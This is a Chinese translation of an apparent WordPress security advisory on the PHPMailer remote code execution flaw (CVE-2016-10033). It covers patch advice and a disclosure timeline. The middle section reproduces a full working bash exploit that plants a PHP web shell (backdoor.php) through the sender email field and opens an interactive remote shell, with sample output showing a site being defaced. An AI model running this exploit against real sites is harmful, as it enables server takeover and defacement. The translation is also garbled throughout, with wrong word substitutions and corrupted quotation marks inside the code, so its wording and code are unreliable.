翻译:overXsky

预估稿费:140RMB(不服你也来投稿啊!

投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿

phpmailerphp漏洞普遍应用的邮件组件PHPMailer存在长途代码履行破绽 AJAX

起因

近日,波兰研究职员 Dawid Golunski 创造了一个存在于PHPMailer中的严重远程代码实行漏洞
该漏洞在昨天的legalhackers.com上公布,但漏洞利用细节的观点验证并未包括在内。

不幸的是在几个小时前,有人向exploit-db和github发布了一个观点验证,演示了如何在PHPMailer库中利用此漏洞,但是出于安全考虑并不针对任何一个正在投入利用中的Web运用程序。

我们正在动手准备发布这个原来在操持之外的更新,以便向PHP开拓职员和我们的社区提前警告这个问题。
由于我们估计随着更多开拓职员和心怀不轨的人查看到上面的观点验证代码后会导致这个事宜持续酝酿。

PHPMailer是WordPress中用来发送电子邮件的核心部分。
你可以在wp-includes / class-smtp.php核心文件中找到代码。

不要错愕

把稳:无论对付WordPress的核心还是任何WordPress主题或插件, 目前尚没有公开可行的漏洞利用代码。
我们看到的唯一漏洞利用是研究职员针对他们自己的运用程序进行了验证,以此表明PHPMailer中存在此漏洞。
(详情如下)

请不要联系WordPress核心团队、WordPress论坛版主或其他任何人,见告他们“你的WordPress网站将被利用”,这将引起不必要的惶恐。
这项研究目前仍在进行中,我们让您提前意识到这个问题紧张有两个缘故原由:

1. 从用户的角度来讲,一旦办理方案发布,就可以准备升级WordPress核心和任何其他受影响的主题和插件。

2. 从开拓者的角度来讲,如果他采取了这个版本的包含漏洞的PHPMailer,就可以开始动手修补代码,以便尽快发布给用户。

漏洞细节

如果你不熟习RCE漏洞,那么这将是最糟糕的情形。
在WordPress的历史上所有严重的漏洞都是远程代码实行漏洞,它们许可攻击者在受害者网站上实行自己的代码从而掌握全体网站。

我们对PHPMailer中受影响的代码进行了简要剖析。
为了利用此漏洞,攻击者彷佛须要能够掌握发件人的电子邮件地址。

PHPMailer中的弱点代码和修复代码的片段如下所示:

来源:GitHub

在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。
如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上实行恶意代码。

PHPMailer的Docker复现环境(附POC):https://github.com/opsxcq/exploit-CVE-2016-10033

Exploit

123456789101112131415161718192021222324252627#!/bin/bash# CVE-2016-10033 exploit by opsxcq# https://github.com/opsxcq/exploit-CVE-2016-10033echo '[+] CVE-2016-10033 exploit by opsxcq'if [ -z \公众$1\"大众 ]then echo '[-] Please inform an host as parameter' exit -1fihost=$1echo '[+] Exploiting '$hostcurl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name=\"大众action\公众\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name=\公众name\"大众\r\n\r\n<?php echo \公众|\公众.base64_encode(system(base64_decode($_GET[\"大众cmd\公众]))).\"大众|\"大众; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name=\"大众email\"大众\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name=\"大众message\公众\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'cmd='whoami'while [ \公众$cmd\"大众 != 'exit' ]do echo '[+] Running '$cmd curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d echo read -p 'RemoteShell> ' cmddoneecho '[+] Exiting'

To exploit this target just run:

1

./exploit host:port

If you are using this vulnerable image, you can just run:

1./exploit localhost:8080

After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:

12345678./exploit.sh localhost:8080[+] CVE-2016-10033 exploit by opsxcq[+] Exploiting localhost:8080[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php[+] Running whoamiwww-dataRemoteShell> echo 'Defaced' > /www/index.php[+] Running echo 'Defaced' > /www/index.php

PHPMailer验证截图

如何应对

我们会向订阅者和客户发邮件预警。
WordPress核心团队目前正在开拓一个将包含在WordPress核心安全发布版本中的修复程序。
尚没有确切的发布韶光,但会只管即便在24小时之内。

一旦发布,请尽快将WordPress核心进行升级。

如果在你自己的PHP运用、主题、插件中还在利用早于5.2.18版本的PHPMailer,请立即升级到PHPMailer 5.2.18或更高版本。

如果你是WordPress主题或插件开拓职员,并且在你的插件或主题代码中包含了早期版本的PHPMailer拷贝,则须要立即更新到PHPMailer 5.2.18或更新版本并向客户发布修订。

漏洞进程韶光线

1. 前不久在WordPress核心中发布了一个问题谈论,个中包括了一个修补程序来办理这个问题。
它可以将利用PHPMailer 5.2.14的WP核心更新到5.2.19。
但这只是一个建议的补丁,并不是官方的终极修复。

2. 你可以在github上找到办理PHPMailer中这个问题的代码变动,它们十分清楚地描述了问题在于被发送到shell命令中的发送方电子邮件地址未转义。

3. 观点漏洞的基本证明也已发布到exploit-db,其链接到在github上的此漏洞利用的更详细的演示。
研究职员已经建立了一个包含此漏洞的Web运用程序,然后为自己的运用程序创建了一段利用代码。
这显然不是一个真实天下的PoC,但它展示了PHPMailer的弱点,并为真实天下的PoC铺平了道路。

4. 创造这个漏洞的研究员的报告中显示:

“研究职员还为盛行的开源运用程序(支配在在互联网上的一百多万台做事器上)开拓了一个未经认证的RCE漏洞作为现实天下开拓的PoC。
它可能在供应商修复漏洞后再发布。

5. 这个问题昨天发布到Hackaday和本日早些时候的The Hacker News。

6. 它正在Twitter上广泛谈论。
[须要科学上网]

7. 它正在WP Slack #forums和#core上被谈论。
[须要登录]

8. Hacker News上也在谈论。

9. 它被发布到Reddit / r / netsec上,那里也在谈论。

10. 我们期望它将在人们进入事情日之后成为主流媒体的焦点。